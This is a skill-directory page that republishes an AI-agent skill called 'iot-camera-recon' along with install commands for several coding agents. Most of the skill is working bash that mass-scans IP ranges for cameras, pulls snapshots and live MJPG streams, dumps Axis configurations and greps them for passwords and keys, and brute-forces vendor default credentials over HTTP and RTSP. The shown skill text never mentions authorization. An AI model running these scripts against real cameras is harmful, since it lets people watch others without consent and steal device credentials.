Web3 Smart Contract Audit
awarexone/Agentic-Bug-Hunter
Guides smart contract audits and bounty target selection with ten DeFi bug classes, kill signals, a Foundry PoC template and grep patterns.
Attack cameras via RTSP, ONVIF, Axis config when 554 open. An agent skill from uphiago/recon-skills.
$ npx skills add uphiago/recon-skills --skill iot-camera-recon -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install uphiago/recon-skills iot-camera-recon --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/uphiago/recon-skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/recon/iot-camera-recon .claude/skills/iot-camera-recon && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "iot-camera-recon" agent skill from https://github.com/uphiago/recon-skills/tree/main/recon/iot-camera-recon into .claude/skills/iot-camera-recon/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "iot-camera-recon", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/uphiago/recon-skills/tree/main/recon/iot-camera-reconType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add uphiago/recon-skills --skill iot-camera-recon -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install uphiago/recon-skills iot-camera-recon --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/uphiago/recon-skills.git skills-src && mkdir -p .agents/skills && cp -r skills-src/recon/iot-camera-recon .agents/skills/iot-camera-recon && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "iot-camera-recon" agent skill from https://github.com/uphiago/recon-skills/tree/main/recon/iot-camera-recon into .agents/skills/iot-camera-recon/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "iot-camera-recon", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add uphiago/recon-skills --skill iot-camera-recon -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install uphiago/recon-skills iot-camera-recon --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/uphiago/recon-skills.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/recon/iot-camera-recon .cursor/skills/iot-camera-recon && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "iot-camera-recon" agent skill from https://github.com/uphiago/recon-skills/tree/main/recon/iot-camera-recon into .cursor/skills/iot-camera-recon/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "iot-camera-recon", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/uphiago/recon-skills.git --path recon/iot-camera-recon--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add uphiago/recon-skills --skill iot-camera-recon -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install uphiago/recon-skills iot-camera-recon --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/uphiago/recon-skills.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/recon/iot-camera-recon .gemini/skills/iot-camera-recon && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "iot-camera-recon" agent skill from https://github.com/uphiago/recon-skills/tree/main/recon/iot-camera-recon into .gemini/skills/iot-camera-recon/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "iot-camera-recon", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install uphiago/recon-skills iot-camera-reconInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add uphiago/recon-skills --skill iot-camera-recon -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/uphiago/recon-skills.git skills-src && mkdir -p .github/skills && cp -r skills-src/recon/iot-camera-recon .github/skills/iot-camera-recon && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "iot-camera-recon" agent skill from https://github.com/uphiago/recon-skills/tree/main/recon/iot-camera-recon into .github/skills/iot-camera-recon/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "iot-camera-recon", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add uphiago/recon-skills --skill iot-camera-recon -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install uphiago/recon-skills iot-camera-recon --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/uphiago/recon-skills.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/recon/iot-camera-recon .opencode/skills/iot-camera-recon && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "iot-camera-recon" agent skill from https://github.com/uphiago/recon-skills/tree/main/recon/iot-camera-recon into .opencode/skills/iot-camera-recon/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "iot-camera-recon", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
iot-camera-reconAttack cameras via RTSP, ONVIF, Axis config when 554 open. An agent skill from uphiago/recon-skills.
Iot Camera Recon is an agent skill from uphiago/recon-skills. Attack cameras via RTSP, ONVIF, Axis config when 554 open.
Its SKILL.md is about 2.3k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts. Compatibility notes: Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei
It sits in Security, covering Bug bounty. The repository describes itself as: Recon & pentest skill pack. CORS, XSS, SQLi, SSRF, RCE, WordPress, MCP, cloud, subdomain takeover, and more. Field-tested. MIT. Full write-up at hiago.sh. The licence is MIT.
4 steps, taken from the step headings in SKILL.md.
Read from SKILL.md and the folder at commit 1260244. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
curlpython3From the folder's file list and the shell code blocks in SKILL.md.
Hosts in commands or code, which the agent is likely to contact:
w3.orgonvif.orgFrom URLs in SKILL.md, links to its own repository left out.
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei
From compatibility in the SKILL.md frontmatter.
Iot Camera Recon loads about 2.3k tokens when it runs. Until then it costs about 19 tokens; SKILL.md has 293 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from uphiago/recon-skills at commit 1260244, republished under its MIT licence (© uphiago). 293 words, ~2,345 tokens.
.claude/skills/iot-camera-recon/SKILL.md (or your agent's skills folder).IP camera assessment covering RTSP exposure, vendor configuration endpoints, ONVIF service enumeration, authentication controls, and firmware identification.
port-mass-scan finds RTSP (554) or camera HTTP ports (80, 8010, 8011).port-service-discovery finds Axis/Hikvision/Dahua ONVIF services.terminal with curl, python3.port-mass-scan).# Quick camera detection on known IP
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/jpg/image.cgi" -o snapshot.jpg
curl -sk --max-time 5 --connect-timeout 5 "http://IP:8010/axis-cgi/admin/param.cgi?action=list" | head -50
# Mass RTSP discovery on a /24
masscan -p554,80,8010,8011 --rate=10000 192.168.0.0/24 -oJ cameras.json| Camera Brand | Default HTTP Port | Snapshot URL | Config URL | Default Creds |
|---|---|---|---|---|
| Axis | 80, 8010 | /axis-cgi/jpg/image.cgi | /axis-cgi/admin/param.cgi?action=list | root:pass, root:admin |
| Hikvision | 80, 554 | /ISAPI/Streaming/channels/101/picture | /System/configurationFile?auth=... | admin:12345, admin:admin |
| Dahua | 80, 554 | /cgi-bin/snapshot.cgi | /cgi-bin/configManager.cgi?action=getConfig | admin:admin, admin:password |
| Intelbras | 80 | /cgi-bin/snapshot.cgi | /web/cgi-bin/hi3510/param.cgi | admin:admin, admin:123456 |
| ONVIF | 80, 8899 | N/A (SOAP) | /onvif/device_service | admin:admin |
RANGE="$1" # e.g., [REDACTED_IP]/16
OUTDIR="$OUTDIR/cameras"
mkdir -p "$OUTDIR"
echo "[*] Camera hunt on $RANGE"
# Masscan for RTSP + camera HTTP ports
masscan -p554,80,8010,8011,8899 --rate=50000 "$RANGE" -oJ "$OUTDIR/masscan_cameras.json"
# Extract IPs with open camera ports
HITS=$(python3 -c "
import json
with open('$OUTDIR/masscan_cameras.json') as f:
ips = set()
for line in f:
try:
data = json.loads(line.strip()) if line.strip() else {}
ips.add(data.get('ip', ''))
except: pass
for ip in sorted(ips):
print(ip)
" 2>/dev/null)
echo "[+] $(echo "$HITS" | wc -l) IPs with camera ports"
# Probe each with curl
echo "$HITS" | while read ip; do
echo "--- $ip ---"
# Axis snapshot
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:8010/axis-cgi/jpg/image.cgi")
[[ "$code" == "200" ]] && echo " [AXIS] Snapshot: http://$ip:8010/axis-cgi/jpg/image.cgi"
# Axis config dump
config=$(curl -sk --max-time 5 --connect-timeout 5 "http://$ip:8010/axis-cgi/admin/param.cgi?action=list" 2>/dev/null)
if [[ -n "$config" ]] && echo "$config" | grep -q "root.Brand"; then
BRAND=$(echo "$config" | grep "root.Brand.Brand=" | cut -d= -f2 | tr -d '"')
MODEL=$(echo "$config" | grep "root.Brand.ProdShortName=" | cut -d= -f2 | tr -d '"')
FIRMWARE=$(echo "$config" | grep "root.Properties.Firmware.Version=" | cut -d= -f2 | tr -d '"')
SERIAL=$(echo "$config" | grep "root.Properties.System.SerialNumber=" | cut -d= -f2 | tr -d '"')
echo " [CONFIG] $BRAND $MODEL — Firmware: $FIRMWARE — Serial: $SERIAL"
echo "$config" | wc -l | xargs echo " Parameters:"
fi
# Generic RTSP
for port in 554 8554; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$ip:$port/")
[[ "$code" != "000" ]] && echo " [RTSP] Port $port responds (HTTP $code)"
done
# ONVIF discovery (port 8899 or 80)
for port in 8899 80; do
resp=$(curl -sk --max-time 5 --connect-timeout 5 -X POST "http://$ip:$port/onvif/device_service" \
-H "Content-Type: application/soap+xml" \
-d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><GetDeviceInformation xmlns="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>' 2>/dev/null)
if echo "$resp" | grep -qi "manufacturer\|model\|serial"; then
echo " [ONVIF] Device info available on port $port"
fi
done
doneIP="$1"
echo "[*] Axis camera exploitation on $IP"
# 1. Snapshot
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/jpg/image.cgi" -o "axis_${IP//./_}_snapshot.jpg"
echo "[+] Snapshot saved"
# 2. Full config dump (988 parameters on Axis P1378-LE)
curl -sk --max-time 10 --connect-timeout 10 "http://$IP:8010/axis-cgi/admin/param.cgi?action=list" -o "axis_${IP//./_}_config.txt"
PARAM_COUNT=$(wc -l < "axis_${IP//./_}_config.txt")
echo "[+] Config dump: $PARAM_COUNT parameters"
# 3. Extract sensitive parameters
echo "[*] Sensitive parameters:"
grep -iE 'password|user|token|key|serial|license|cert|network\.eth0\.IP' "axis_${IP//./_}_config.txt" | head -20
# 4. MJPG video stream
curl -sk --max-time 5 --connect-timeout 5 "http://$IP:8010/axis-cgi/mjpg/video.cgi" -o "axis_${IP//./_}_stream.mjpg" &
sleep 3; kill %1 2>/dev/null
STREAM_SIZE=$(stat -c%s "axis_${IP//./_}_stream.mjpg" 2>/dev/null || echo 0)
[[ "$STREAM_SIZE" -gt 1000 ]] && echo "[+] Live MJPG stream captured (${STREAM_SIZE} bytes)"
# 5. List available services
for svc in "admin" "viewer" "operator" "ptz" "applications" "local"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 3 --connect-timeout 3 "http://$IP:8010/axis-cgi/$svc/")
[[ "$code" != "404" && "$code" != "000" ]] && echo " Service: /axis-cgi/$svc/ (HTTP $code)"
doneIP="$1"
BRAND="${2:-axis}" # axis, hikvision, dahua, intelbras
echo "[*] Default credential test on $IP ($BRAND)"
# Brand-specific default credentials
case "$BRAND" in
axis)
CREDS=("root:pass" "root:admin" "root:root" "root:12345" "admin:admin" "admin:12345")
AUTH_URL="http://$IP:8010/axis-cgi/admin/param.cgi?action=list"
;;
hikvision)
CREDS=("admin:12345" "admin:admin" "admin:123456" "admin:password")
AUTH_URL="http://$IP/ISAPI/System/deviceInfo"
;;
dahua)
CREDS=("admin:admin" "admin:password" "admin:123456" "admin:admin123")
AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
;;
intelbras)
CREDS=("admin:admin" "admin:123456" "admin:password" "admin:admin123")
AUTH_URL="http://$IP/cgi-bin/snapshot.cgi"
;;
*)
CREDS=("admin:admin" "admin:12345" "root:admin" "admin:password")
AUTH_URL="http://$IP/"
;;
esac
for cred in "${CREDS[@]}"; do
USER="${cred%%:*}"
PASS="${cred##*:}"
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 \
-u "$USER:$PASS" "$AUTH_URL" 2>/dev/null)
if [[ "$code" == "200" ]]; then
echo " [CRITICAL] DEFAULT CREDENTIALS: $cred"
elif [[ "$code" == "401" ]]; then
echo " [-] $cred (auth failed)"
else
echo " [$code] $cred"
fi
doneIP="$1"
PORT="${2:-554}"
echo "[*] RTSP stream access on $IP:$PORT"
# Common RTSP paths
STREAMS=(
"/live" "/stream" "/cam/realmonitor"
"/h264" "/h264/ch1/main/av_stream"
"/Streaming/Channels/101" "/ISAPI/Streaming/channels/101"
"/axis-media/media.amp" "/onvif1" "/onvif2"
)
for stream in "${STREAMS[@]}"; do
RTSP_URL="rtsp://$IP:$PORT$stream"
echo -n " $stream: "
# Test with ffmpeg (2 second probe)
timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
if [[ $? -eq 0 ]]; then
echo "LIVE STREAM"
else
echo "no response"
fi
done
# Try with default credentials
for cred in "admin:admin" "admin:12345" "root:pass"; do
RTSP_URL="rtsp://${cred}@$IP:$PORT/live"
timeout 3 ffprobe -v quiet -rtsp_transport tcp "$RTSP_URL" 2>/dev/null
[[ $? -eq 0 ]] && echo " [CRITICAL] RTSP stream accessible with $cred"
done-rtsp_transport tcp for reliable stream testing.--max-time to avoid hanging on slow connections.file command).© uphiago, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
Just SKILL.md in recon/iot-camera-recon of uphiago/recon-skills.
Open the folder on GitHubat commit 1260244
Iot Camera Recon next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Iot Camera Recon this skilluphiago/recon-skills | 1.3k | — | ~2.3k | Automated safety check: Pass | MIT | |
| Web3 Smart Contract Auditawarexone/Agentic-Bug-Hunter | 5.3k | 3 repos | ~4.5k | Automated safety check: Pass | MIT | |
| Bug Bounty Hunting Methodologyawarexone/Agentic-Bug-Hunter | 5.3k | 2 repos | ~4.7k | Automated safety check: Pass | MIT | |
| Metabigor OSINT Reconj3ssie/metabigor | 1.9k | — | ~2.4k | Automated safety check: Pass | MIT | |
| Wooyun Legacytanweai/wooyun-legacy | 1.8k | — | ~1.9k | Automated safety check: Pass | Custom licence | |
| Client Request Signature Reversalawarexone/Agentic-Bug-Hunter | 5.3k | — | ~4.7k | Automated safety check: Pass | MIT |
awarexone/Agentic-Bug-Hunter
Guides smart contract audits and bounty target selection with ten DeFi bug classes, kill signals, a Foundry PoC template and grep patterns.
awarexone/Agentic-Bug-Hunter
Orchestrates a bug bounty session with a 5-phase workflow and a critical-thinking framework covering developer psychology, anomaly detection and What-If experiments.
j3ssie/metabigor
Operates the metabigor CLI to map a target's network ranges, subdomains, ports, related domains, CDNs and archived URLs from free sources without API keys.
tanweai/wooyun-legacy
WooYun business logic vulnerability methodology — 22,132 real cases across 6 domains (authentication bypass, authorization bypass, payment tampering, information disclosure, logic flaws…
awarexone/Agentic-Bug-Hunter
Recovers a client-side request signature or anti-bot token just far enough to replay blocked requests in bug bounty testing, starting from a captured packet.
tradecatlabs/vibe-coding-cn
A selection guide to AI-driven tools for Web3 bug bounty work, from autonomous web pentesters to smart contract bug finders, with notes on authorization.
uphiago/recon-skills
Flags API endpoints whose data or actions look like they should need a login but currently don't, as part of authorized security testing.
uphiago/recon-skills
Mine errorlog for creds, paths, SQL when leak hunt finds. An agent skill from uphiago/recon-skills.
uphiago/recon-skills
Analyze JS bundles and source maps for hardcoded secrets, API keys, JWTs, and internal endpoints
uphiago/recon-skills
A skill your agent uses when starting or restructuring an authorized external web and API assessment.
uphiago/recon-skills
Sensitive file scanning, path traversal bypass, vHost enum, .env extract, log mining, Varnish detect
uphiago/recon-skills
A skill your agent uses when protected HTTP routes return 401 or 403.
Categories
Attack cameras via RTSP, ONVIF, Axis config when 554 open. An agent skill from uphiago/recon-skills. Iot Camera Recon is an agent skill from uphiago/recon-skills. Attack cameras via RTSP, ONVIF, Axis config when 554 open.
Iot Camera Recon fits situations like: tasks that involve Bug bounty.
Run `npx skills add uphiago/recon-skills --skill iot-camera-recon -a claude-code`. Or copy the skill folder (recon/iot-camera-recon in uphiago/recon-skills) into .claude/skills/iot-camera-recon in your project. Claude Code loads it when a task matches its description.
Run `npx skills add uphiago/recon-skills --skill iot-camera-recon -a codex`. Or copy the skill folder (recon/iot-camera-recon in uphiago/recon-skills) into .agents/skills/iot-camera-recon in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add uphiago/recon-skills --skill iot-camera-recon -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/iot-camera-recon, .gemini/skills/iot-camera-recon, .github/skills/iot-camera-recon and .opencode/skills/iot-camera-recon in your project.
Going by SKILL.md and its folder, Iot Camera Recon needs the command-line tools its instructions call (curl and python3). Our summary lists: Python 3. Compatibility (from SKILL.md): Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei.
SKILL.md names 2 domains. In commands or code: w3.org and onvif.org; the agent is likely to contact these when it follows the instructions. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
Iot Camera Recon is published under the MIT licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.
About 2.3k tokens (SKILL.md is roughly 9.4k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Iot Camera Recon: Web3 Smart Contract Audit (awarexone/Agentic-Bug-Hunter, 5.3k stars), Bug Bounty Hunting Methodology (awarexone/Agentic-Bug-Hunter, 5.3k stars), Metabigor OSINT Recon (j3ssie/metabigor, 1.9k stars) and Wooyun Legacy (tanweai/wooyun-legacy, 1.8k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
uphiago (a GitHub user) maintains it in uphiago/recon-skills, which has 1,294 GitHub stars. The repository holds 23 skills in this directory. The repository was last updated on September 1, 2026.
Source: uphiago/recon-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.